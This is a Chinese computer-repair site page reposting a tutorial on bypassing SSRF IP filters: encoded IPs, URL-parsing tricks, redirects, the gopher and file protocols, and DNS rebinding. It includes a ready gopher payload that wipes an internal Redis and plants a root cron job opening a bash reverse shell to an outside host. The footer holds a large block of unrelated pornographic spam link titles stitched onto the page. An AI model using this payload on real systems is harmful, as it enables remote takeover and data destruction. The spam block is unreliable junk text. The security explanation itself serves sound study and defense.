錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
SSRF漏洞中繞過IP限制的幾種方法總結

作者: 佚名  日期:2017-05-29 06:29:29   來源: 本站整理

 一、SSRF簡介
SSRF(Server-Side Request Forgery,服務器端請求偽造):通俗的來說就是我們可以偽造服務器端發起的請求,從而獲取客戶端所不能得到的數據。SSRF漏洞形成的原因主要是服務器端所提供的接口中包含了所要請求的內容的URL參數,并且未對客戶端所傳輸過來的URL參數進行過濾。這個漏洞造成的危害有:
(1)、可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的banner信息;
(2)、攻擊運行在內網或本地的應用程序(比如溢出);
(3)、對內網Web應用進行指紋識別,通過訪問默認文件實現;
(4)、攻擊內外網的Web應用,主要是使用Get參數就可以實現的攻擊(比如Struts2漏洞利用,SQL注入等);
(5)、利用File協議讀取本地文件。
一般的防御措施是對URL參數進行過濾,或者使得URL參數用戶不可控。
二、繞過SSRF過濾的幾種方法
下文出現的192.168.0.1,10.0.0.1全部為服務器端的內網地址。
1、更改IP地址寫法
一些開發者會通過對傳過來的URL參數進行正則匹配的方式來過濾掉內網IP,如采用如下正則表達式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
對于這種過濾我們可以采用改編IP的寫法的方式進行繞過,例如192.168.0.1這個IP地址我們可以改寫成:
(1)、8進制格式:0300.0250.0.1
(2)、16進制格式:0xC0.0xA8.0.1
(3)、10進制整數格式:3232235521
(4)、16進制整數格式:0xC0A80001
還有一種特殊的省略模式,例如10.0.0.1這個IP可以寫成10.1
2、利用解析URL所出現的問題
在某些情況下,后端程序可能會對訪問的URL進行解析,對解析出來的host地址進行過濾。這時候可能會出現對URL參數解析不當,導致可以繞過過濾。
http://www.baidu.com@192.168.0.1/
當后端程序通過不正確的正則表達式(比如將http之后到com為止的字符內容,也就是www.baidu.com,認為是訪問請求的host地址時)對上述URL的內容進行解析的時候,很有可能會認為訪問URL的host為www.baidu.com,而實際上這個URL所請求的內容都是192.168.0.1上的內容。
3、利用302跳轉
如果后端服務器在接收到參數后,正確的解析了URL的host,并且進行了過濾,我們這個時候可以使用302跳轉的方式來進行繞過。
(1)、在網絡上存在一個很神奇的服務,http://xip.io 當我們訪問這個網站的子域名的時候,例如192.168.0.1.xip.io,就會自動重定向到192.168.0.1。
(2)、由于上述方法中包含了192.168.0.1這種內網IP地址,可能會被正則表達式過濾掉,我們可以通過短地址的方式來繞過。經過測試發現新浪,百度的短地址服務并不支持IP模式,所以這里使用的是http://tinyurl.com所提供的短地址服務,如下圖所示:

同樣的,我們也可以自行寫一個跳轉的服務接口來實現類似的功能。
4、通過各種非HTTP協議:
如果服務器端程序對訪問URL所采用的協議進行驗證的話,可以通過非HTTP協議來進行利用。
(1)、GOPHER協議:通過GOPHER我們在一個URL參數中構造Post或者Get請求,從而達到攻擊內網應用的目的。例如我們可以使用GOPHER協議對與內網的Redis服務進行攻擊,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1

%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d

%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%

0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4

%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
(2)、File協議:File協議主要用于訪問本地計算機中的文件,我們可以通過類似file:///文件路徑這種格式來訪問計算機本地文件。使用file協議可以避免服務端程序對于所訪問的IP進行的過濾。例如我們可以通過file:///d:/1.txt 來訪問D盤中1.txt的內容
5、DNS Rebinding
對于常見的IP限制,后端服務器可能通過下圖的流程進行IP過濾:

對于用戶請求的URL參數,首先服務器端會對其進行DNS解析,然后對于DNS服務器返回的IP地址進行判斷,如果在黑名單中,就pass掉。
但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查,利用這個時間差,我們可以進行DNS 重綁定攻擊。
要完成DNS重綁定攻擊,我們需要一個域名,并且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設置TTL時間為0。這樣就可以進行攻擊了,完整的攻擊流程為:
(1)、服務器端獲得URL參數,進行第一次DNS解析,獲得了一個非內網的IP
(2)、對于獲得的IP進行判斷,發現為非黑名單IP,則通過驗證
(3)、服務器端對于URL進行訪問,由于DNS服務器設置的TTL為0,所以再次進行DNS解析,這一次DNS服務器返回的是內網地址。
(4)、由于已經繞過驗證,所以服務器端返回訪問內網資源的結果。
三、總結
         總的來說,造成能夠繞過服務器端檢查的原因是在服務器對資源進行請求的時候對URL的驗證出現了紕漏,除了上述已知的方法外可能還有不同的方法,但是萬變不離其宗。同時,在程序員進行開發的同時,盡量使用白名單的方式來進行過濾,能夠較大程度上的保證安全性。



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 亚洲精品中文字幕无码A片老| 亚洲精品成人无码中文毛片不卡| 久久久久亚洲AV无码永不| 亚洲av成人无码久久精品| 亚洲天堂2017无码中文| 人妻无码一区二区视频| 欧洲无码一区二区三区在线观看| 亚洲a∨无码精品色午夜| 国产精品无码一区二区在线观一| 国产V亚洲V天堂无码久久久| 无码H黄肉动漫在线观看网站| 国产成人亚洲综合无码| 亚洲成在人线在线播放无码| 亚洲av永久无码精品国产精品| 日韩av无码成人无码免费| 日韩人妻无码一区二区三区久久| YY111111少妇无码理论片| 亚洲国产精品无码观看久久| 无码精品A∨在线观看| 少妇性饥渴无码A区免费 | 波多野结衣AV无码| 最新无码专区视频在线| 亚洲AV无码专区国产乱码4SE| 夜夜精品无码一区二区三区| 少妇人妻偷人精品无码AV| 亚洲va成无码人在线观看| 人妻少妇乱子伦无码视频专区| 熟妇人妻中文av无码| 亚洲Aⅴ无码一区二区二三区软件| 亚洲中文字幕无码一去台湾| 在线观看无码AV网址| 无码国产精品一区二区免费 | 爽到高潮无码视频在线观看| 中日韩亚洲人成无码网站| 久久亚洲AV无码精品色午夜| 日韩乱码人妻无码系列中文字幕| 无码乱人伦一区二区亚洲| 18禁网站免费无遮挡无码中文| 久久精品国产亚洲AV无码娇色 | 极品粉嫩嫩模大尺度无码视频| 无码人妻啪啪一区二区|